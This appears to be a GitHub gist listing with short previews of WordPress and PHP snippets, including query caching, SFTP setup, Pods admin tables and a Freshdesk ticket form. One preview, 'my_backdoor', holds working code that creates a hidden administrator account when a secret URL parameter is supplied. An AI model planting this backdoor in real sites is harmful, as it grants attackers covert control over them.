This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Check for transient. If none, then execute WP_Query | |
if ( false === ( $featured = get_transient( 'foo_featured_posts' ) ) ) { | |
$featured = new WP_Query( | |
array( | |
'category' => 'featured', | |
'posts_per_page' => 5 | |
) | |
); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// https://stackoverflow.com/questions/17687607/php-download-from-remote-server-via-sftp#17688779 | |
// set up SFTP server details | |
$host = ''; | |
$port = 22; | |
$username = ''; | |
$password = '; | |
$file = 'fileToDownload.csv'; | |
$remoteDir = '/complete/path/to/dir/'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists( 'mr_admin' ) ) { | |
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add a new user to the www-data group | |
In this example, add a new user called vivek to the www-data group, enter: | |
sudo useradd -g www-data vivek | |
### set the password for vivek user ### | |
sudo passwd vivek | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Plugin Name: Paulund WP List Table Example | |
* Description: An example of how to use the WP_List_Table class to display data in your WordPress Admin area | |
* Plugin URI: http://www.paulund.co.uk | |
* Author: Paul Underwood | |
* Author URI: http://www.paulund.co.uk | |
* Version: 1.0 | |
* License: GPL2 | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
only important name is the filter name : | |
pods_admin_ui_PODNAME | |
if your pods is called "client" then call it | |
pods_admin_ui_client | |
you can rename all functions to your liking | |
*/ | |
add_filter( 'pods_admin_ui_PODNAME', 'custom_admin_table_columns_for_PODNAME' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Pods Starter Plugin | |
Version: 0.0.1 | |
License: GPL v2 or later | |
*/ | |
//note: change 'slug' to your own custom prefix. | |
add_action( 'plugins_loaded', 'slug_extend_safe_activate'); | |
function slug_extend_safe_activate() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$api_key = esc_attr( get_option('freshdesk_tickets_api_key') ); | |
$password = "x"; | |
$yourdomain = "youdomain"; | |
$custom_fields = array("bio" => esc_attr($_REQUEST['bio']) ); | |
$ticket_payload = array( | |
'name' => esc_attr($_REQUEST['name']), | |
'email' => esc_attr($_REQUEST['email']), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class SchemaValidator{ | |
public function validate_structure($params, $schema){ | |
$errors = array(); | |
foreach($schema as $key => $object){ | |
//check if present if required | |
if(isset($object["required"]) && true == $object["required"]){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* All items of a POD (CPT) | |
**/ | |
$params = array( | |
'limit' => -1, | |
); | |
$prods_pod = pods( 'im_products', $params ); | |
if( false != $prods_pod && $prods_pod->total_found()>0 ){ |
NewerOlder